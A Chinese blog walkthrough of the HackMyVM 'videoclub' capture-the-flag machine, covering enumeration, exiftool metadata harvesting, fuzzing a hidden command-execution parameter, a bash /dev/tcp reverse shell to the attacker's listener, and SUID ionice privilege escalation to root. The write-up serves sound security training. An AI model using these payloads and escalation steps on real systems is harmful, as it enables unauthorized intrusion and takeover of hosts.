当前位置:网站首页>HackMyvm靶机系列(6)-videoclub
HackMyvm靶机系列(6)-videoclub
2022-07-06 09:22:00 【月应知我意】
一、信息收集
因为是校园网,主机太多,我就直接搜索关键字找靶机啦。
nmap -sP 192.168.200.0/24 | grep -i -B 2 virtualbox
使用nmap进行端口扫描,探测靶机开放的端口。如图,开放了ssh服务和HTTP服务。
nmap -sV -sC -p- -sT 192.168.200.161
访问3377端口。

看到上面这个我第一反应以为是个cms,使用whatweb进行指纹识别。
whatweb http://192.168.200.161:3377
但是并没有识别出来是什么cms。
那就先进行目录扫描吧。
gobuster dir -u http://192.168.200.161:3377 -w directory-list-2.3-medium.txt -x php,html,txt,7z,zip,bak,gz发现的东西还不少,挨个访问看看。

发现一个目录遍历,这里面全是图片。

视频

apache使用手册

访问robots.txt,下面发现一长串字符,起初我以为是base64加密的,但是解密以后乱码了。

robots.txt页面最下面还藏了一个文件。

访问list-defaulters.txt文件,下面这些东西。但是一开始还真没看出这干嘛的。但是仔细观察一波,发现下面我圈出来的东西组合一下就有点问题了。
看过我前面文章的小伙伴应该已经知道exiftool是什么了,
ExifTool由Phil Harvey开发,是一款免费、跨平台的开源软件,用于读写和处理图像(主要)、音视频和PDF等文件的元数据(metadata)。
steg hide,意思应该是有隐藏属性吧?

二、漏洞利用
使用exiftool读取图片的元数据,hackers.jpg这张图片最可疑,那就先看看这张图片的属性吧

如图所示,一眼就发现了这段字符非常可疑,那就看看其他图片和视频是否存在Copyright属性吧。
写了一个python脚本,目标的图片全部爬取下来。
爬取视频的时候只需将images改成videos即可。
import requests
from bs4 import BeautifulSoup
re = requests.get('http://192.168.200.161:3377/images/')
soup = BeautifulSoup(re.text,'lxml')
a = soup.find_all('a')
link = list(map(lambda x:'http://192.168.200.161:3377/images/'+x['href'],a))
img_url = list(filter(lambda x:'?' not in x,link))
img_url.remove('http://192.168.200.161:3377/images//')
for url in img_url:
print(url)
r = requests.get(url).content
with open(url.split('/')[-1],'wb') as f:
f.write(r)最终,在所有图片和视频中收集到了如下信息。
img:
zerial_killer:bien_cabron
video
LostDVD:k1nd3rs
LostDVD=t3rm1n4t0r
LostDVD=m14_w4ll4c3
LostDVD=c0n3h34ds
secret_film:c0ntr0l一开始我以为这些是账号和密码,就挨个登录了一下。但是毫不意外都失败了。
那就把这些东西和上面的list-defaulters.txt文件组合成一个字典吧,如下图所示。

使用dirsearch进行目录扫描,指定字典为我们刚才生成的。
dirsearch -u "http://192.168.200.161:3377/" -t 50 -e php,htmp,txt,7z,zip,gz,bak -x404,500,599 -w /home/kali/Desktop/video/dict.txt扫描结果如下。

在使用gobuster进行一波目录扫描。
gobuster dir -u "http://192.168.200.161:3377/" -t 30 -x php,htmp,txt,7z,zip,gz,bak -w dict.txt扫描结果如下,比dirsearch多了一个c0ntr0l.php文件。
这个结果我真的服了,都是一个字典dirsearch结果怎么还少了一个,这一步卡我好久,以后目录扫描干脆直接上两个扫描器一起扫了。

挨个访问所有结果,其他的内容不是视频就是图片,没有啥价值。
只有c0ntr0l.php文件内容是一片空白。感觉有戏!
http://192.168.200.161:3377/c0ntr0l.php

这个请求似乎没有传入参数,那使用wfuzz进行一下模糊测试,看看有没有惊喜。
字典也要设置为我们之前收集到的哦!
wfuzz -c --hc=404 -t 500 -w dict.txt http://192.168.200.161:3377/c0ntr0l.php?FUZZ=id结果如下,发现flynn参数可以结果与其他的不同。

访问http://192.168.200.161:3377/c0ntr0l.php?flynn=id
??这里居然可以执行命令。那岂不是可以直接反弹shell?

在kali上监听6666端口

然后使用hackbar访问
http://192.168.200.161:3377/c0ntr0l.php?f1ynn=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.200.192%2F6666%200%3E%261'
再看kali这边,成功反弹shell,但是权限仅是一个web权限

三、权限提升
查看一下/home目录,发现存在两个目录。而secret_film目录看上去有点眼熟,再看看上面我们收集的图片、视频信息,不就包含这个吗?拿去登录试试。

呃.....登陆失败,似乎好像有点不对。这个secret_film目录的属主怎么是root啊
查看一下/etc/passwd,服了,根本就没有secret_film这个用户,这坑是真的多!

librarian用户的家目录居然任何用户都可读可进入

看看目录里都有些什么?
发现flag,而且这个flag任何用户都可以直接读取,拿到第一个flag。
这里还发现一个具有s权限的可执行文件,而且属主是root,那这里是不是可能存在suid提权的可能?

执行下面命令,查询具有suid权限的文件。
find / -perm -u=s -type f 2>/dev/null

注意在执行提权操作的时候不要直接输入
ionice /bin/sh -p,不然就会和我一样,得到的权限还是www-data了。通过which ionice,发现ionice命令的是指向/usr/bin/ionice的,这个文件是不具有s权限的。

需要输入输入绝对路径才能提权成功。
/home/librarian/ionice /bin/bash -p
切换到/root目录,发现没发现root.txt,但是有一个note-for-new-administrator文件。读取文件内容,提示我们root.txt文件已经换地方了。

使用find命令直接搜索root.txt文件
find / -name root.txt
边栏推荐
- 受检异常和非受检异常的区别和理解
- The latest tank battle 2022 - full development notes-3
- Mortal immortal cultivation pointer-1
- Leetcode. 3. Longest substring without repeated characters - more than 100% solution
- 使用Spacedesk实现局域网内任意设备作为电脑拓展屏
- canvas基础2 - arc - 画弧线
- Mortal immortal cultivation pointer-2
- Read only error handling
- 3. Input and output functions (printf, scanf, getchar and putchar)
- 1. First knowledge of C language (1)
猜你喜欢

UGUI—Text

Have you encountered ABA problems? Let's talk about the following in detail, how to avoid ABA problems

Thoroughly understand LRU algorithm - explain 146 questions in detail and eliminate LRU cache in redis

受检异常和非受检异常的区别和理解
![[dark horse morning post] Shanghai Municipal Bureau of supervision responded that Zhong Xue had a high fever and did not melt; Michael admitted that two batches of pure milk were unqualified; Wechat i](/img/d7/4671b5a74317a8f87ffd36be2b34e1.jpg)
[dark horse morning post] Shanghai Municipal Bureau of supervision responded that Zhong Xue had a high fever and did not melt; Michael admitted that two batches of pure milk were unqualified; Wechat i

canvas基础1 - 画直线(通俗易懂)

fianl、finally、finalize三者的区别

It's never too late to start. The tramp transformation programmer has an annual salary of more than 700000 yuan

Leetcode.3 无重复字符的最长子串——超过100%的解法

Canvas foundation 1 - draw a straight line (easy to understand)
随机推荐
3. C language uses algebraic cofactor to calculate determinant
Custom RPC project - frequently asked questions and explanations (Registration Center)
1. Preliminary exercises of C language (1)
Mode 1 two-way serial communication is adopted between machine a and machine B, and the specific requirements are as follows: (1) the K1 key of machine a can control the ledi of machine B to turn on a
【九阳神功】2018复旦大学应用统计真题+解析
仿牛客技术博客项目常见问题及解答(三)
为什么要使用Redis
【九阳神功】2019复旦大学应用统计真题+解析
撲克牌遊戲程序——人機對抗
fianl、finally、finalize三者的区别
Inaki Ading
[during the interview] - how can I explain the mechanism of TCP to achieve reliable transmission
Leetcode. 3. Longest substring without repeated characters - more than 100% solution
2022泰迪杯数据挖掘挑战赛C题思路及赛后总结
js判断对象是否是数组的几种方式
[the Nine Yang Manual] 2021 Fudan University Applied Statistics real problem + analysis
7-1 输出2到n之间的全部素数(PTA程序设计)
7-6 矩阵的局部极小值(PTA程序设计)
【数据库 三大范式】一看就懂
简述xhr -xhr的基本使用